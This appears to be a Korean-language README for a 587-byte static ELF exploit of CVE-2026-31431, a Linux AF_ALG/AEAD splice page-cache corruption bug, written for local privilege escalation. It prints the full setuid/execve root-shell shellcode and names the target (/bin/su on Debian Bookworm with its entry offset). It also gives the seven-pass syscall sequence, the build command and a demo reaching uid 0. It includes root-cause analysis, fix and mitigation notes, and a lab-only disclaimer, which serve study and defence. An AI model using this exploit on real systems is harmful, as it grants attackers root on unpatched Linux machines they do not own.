
최소 587바이트 정적 ELF 익스플로잇으로, CVE-2026-31431을 대상으로 하며 AF_ALG splice 페이지 캐시 손상을 통해 로컬 권한 상승을 달성합니다. libc 또는 런타임 의존성이 없습니다.
저는 이 버그를 발견하지 않았습니다. 공로는 Xint Code / Theori에게 있습니다.
이 저장소는 익스플로잇을 가능한 한 작게 만드는 제 방식입니다 - 587바이트로 전체 LPE를 수행하는 수제 x86_64 ELF입니다. libc도, 링커도, 런타임도 없습니다. 그저 NASM과 고집뿐입니다.
실질적으로, 커널은 AF_ALG + splice를 통해 읽기 가능한 파일의 페이지 캐시에 쓰기 프리미티브를 제공합니다. setuid 바이너리의 엔트리 포인트를 겨냥하고, 셸코드를 쓰고, 바이너리를 실행하면 루트입니다.
크기 맥락을 위해: 원래 공개된 Copy Fail 게시물은 732바이트로 측정된 소형 Python 버전을 제공했습니다. 그것은 매우 훌륭하지만, 여전히 Python 런타임이 존재해야 합니다. 더 작은 것은 https://kopy.fail의 524바이트입니다. 그러나 이것은 원시 정적 ELF입니다: 인터프리터도, libc도, 링커도, 동적 로더도 없습니다. (우리 엄마는 이게 멋지다고 하세요)
| CVE | CVE-2026-31431 |
| 버그 클래스 | splice 별칭을 통한 페이지 캐시 손상 |
| 근본 원인 | af_alg_sendpage / AEAD 요청으로의 splice가 페이지 캐시 페이지를 crypto scatter-gather 출력에 별칭 지정 |
| 구성 요소 | crypto/af_alg.c + crypto/algif_aead.c |
| 영향 | 읽기 가능한 모든 파일의 페이지 캐시에 제어된 바이트 쓰기 |
| 요구 사항 | 로컬 사용자, 접근 가능한 AF_ALG/AEAD 지원, 읽기 가능한 setuid 대상 |
| 익스플로잇 | 587바이트 정적 ELF (x86_64), 단일 파일, 의존성 없음 |
AF_ALG는 사용자 공간이 소켓을 통해 커널 암호화를 수행할 수 있게 합니다.
authencesn과 같은 AEAD 암호의 경우, 커널은 MSG_MORE와 함께 sendmsg를 통해
데이터를 수락한 다음, 파일 디스크립터에서 더 많은 데이터를 splice할 수 있습니다.
저주받은 부분: 파일을 splice하면, 커널은 파일의 페이지 캐시 페이지를 crypto scatter-gather 목록에 직접 고정합니다. AEAD 연산은 그런 다음 출력을 동일한 페이지에 다시 씁니다. 커널은 crypto에 읽기 버퍼를 제공했다고 생각합니다. Crypto는 쓰기 버퍼를 받았다고 생각합니다. 아무도 복사하지 않습니다.
AAD 메타데이터로 제공하는 바이트는 페이지 캐시를 통해 보입니다. 해당 파일의 이후 모든 읽기 - 모든 프로세스, 모든 사용자, suid 실행을 포함하여 - 손상된 데이터를 봅니다. 디스크의 파일은 변경되지 않습니다. 메모리 내 페이지 캐시 보기만 변경됩니다.
Copy Fail은 AF_ALG 옷을 입은 페이지 캐시/COW 계열의 저주입니다. Dirty COW (CVE-2016-5195)와 같은 계보입니다 - "커널이 읽기만 해야 하는 것에 쓰기를 허용했습니다" - 그러나 madvise/write 경쟁 대신 crypto splice 경로를 통해서입니다.
대상: Debian Bookworm의 /bin/su (kernelCTF rootfs 포함). ELF 엔트리
포인트는 파일 오프셋 0x3910에 있습니다.
28바이트의 셸코드가 루트 셸 드로퍼로 변환합니다:
; setuid(0) - 7 bytes
31 ff xor edi, edi
6a 69 push 105
58 pop rax
0f 05 syscall
; execve("/bin/sh", NULL, NULL) - 21 bytes
99 cdq
31 f6 xor esi, esi
48 bb 2f 62 69 6e 2f 73 68 00 movabs rbx, "/bin/sh\0"
53 push rbx
54 push rsp
5f pop rdi
6a 3b push 59
58 pop rax
0f 05 syscall
AEAD 프리미티브는 연산당 4바이트만 제공합니다 - AAD의 32비트 청크 하나가 splice 오프셋에 도달합니다. 28바이트 셸코드 ÷ 4 = 커널 crypto 스택을 통한 7회 통과입니다. 각 반복:
socket(AF_ALG) + authencesn(hmac(sha1),cbc(aes))로 bindsetsockoptacceptMSG_MORE와 함께 sendmsg - 8바이트 iov에는 4바이트 AAD 채움 + 4바이트 셸코드 포함/bin/su에서 요청 fd로 splice (페이지 캐시 페이지 위치 지정)recvfrom - AEAD 처리를 트리거, 페이지 캐시 손상7회 반복 후, execve("/bin/su"). 커널은 손상된 페이지 캐시에서
로드합니다. 실행은 덮어쓴 엔트리 포인트로 점프합니다. 루트
셸.
총 587바이트. 그중 120바이트는 ELF 헤더입니다 (커널은 그것 없이는 로드하지 않습니다), 따라서 실제 익스플로잇 로직은 467바이트의 기계어 코드 + 데이터입니다.
ELF 헤더에서 항목이 위치한 곳:
Offset Field Actual use
------ ----- ----------
0x00 e_ident[0:8] magic + ELF class (mandatory)
0x08 e_ident[8:16] crypto key material (kernel ignores these bytes)
0x28 e_shoff "/bin/su\0" string (kernel ignores for ET_EXEC)
커널은 e_ident[0:7], e_type, e_machine, e_entry,
e_phoff, e_phnum 및 phdr 자체만 봅니다. 다른 모든 것은 자유 공간입니다.
기타 크기 트릭:
push imm8 / pop rax / syscall로 인코딩 (각 3바이트)첫 번째 작동 버전은 584바이트였습니다. 두 번째 splice 호출에 mov ax, 275를
사용했습니다 (mov eax, 275보다 2바이트 짧음). 이것은 첫 번째 splice가 항상
성공한다는 도박입니다 - 음수 오류를 반환하면, rax의 상위 48비트가 설정된 상태로
유지되고, mov ax, 275는 하위 16비트만 덮어씁니다. 그러면 두 번째 splice
syscall 번호가 쓰레기가 됩니다.
제 테스트 커널에서는 항상 작동했습니다. 그러나 "테스트에서 항상 작동"은 버그를 배포하는 나쁜 이유이며, 메모리 압력 하에서 splice가 EAGAIN을 반환하는 시스템에서 누군가 이 문제를 겪으면, 익스플로잇은 무엇이 잘못되었는지 표시 없이 그냥 세그폴트됩니다. 3바이트를 추가로 사용했습니다.
또한 최종 execve 전에 xor esi, esi를 추가해야 했습니다. recvfrom이
rsi를 버퍼 주소로 덮어쓰기 때문입니다. 그것 없이는, execve가 쓰레기 argv
포인터를 받습니다. 또 다른 1바이트.
nasm -f bin -o copy_fail_v3 copy_fail_v3.asm && chmod +x copy_fail_v3
NASM이 필요합니다. 익스플로잇 바이너리를 직접 생성합니다 - 링크 단계 없음.
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$ ./copy_fail_v3
# id
uid=0(root) gid=0(root) groups=0(root)
1초 미만이 걸립니다. 성공 시 출력 없음 - 그냥 루트 셸입니다.
CONFIG_CRYPTO_USER_API_AEAD (내장 또는 로드된 모듈) 및
algif_aead의 수정되지 않은 인플레이스 splice 경로가 필요합니다. 잘못된 코드 경로는
2017년 최적화로 거슬러 올라갑니다. 배포판의 커널 구성과 패치 상태를 확인하세요.
수정은 인플레이스 경로를 제거하고 crypto scatter-gather 목록에 별칭을 지정하는 대신 splice 소스 페이지를 복사합니다. 페이지 캐시 격리가 복원됩니다.
이것은 KernelCTF/랩 아티팩트입니다. 소유하거나 명시적 권한이 있는 시스템에서만 실행하세요. Linux 박스를 방어하는 경우, 커널을 패치하거나 AF_ALG/algif_aead 모듈 로딩을 제한하세요.
Daniel Wade - GitHub · Twitter/X · Bluesky · nadsec.online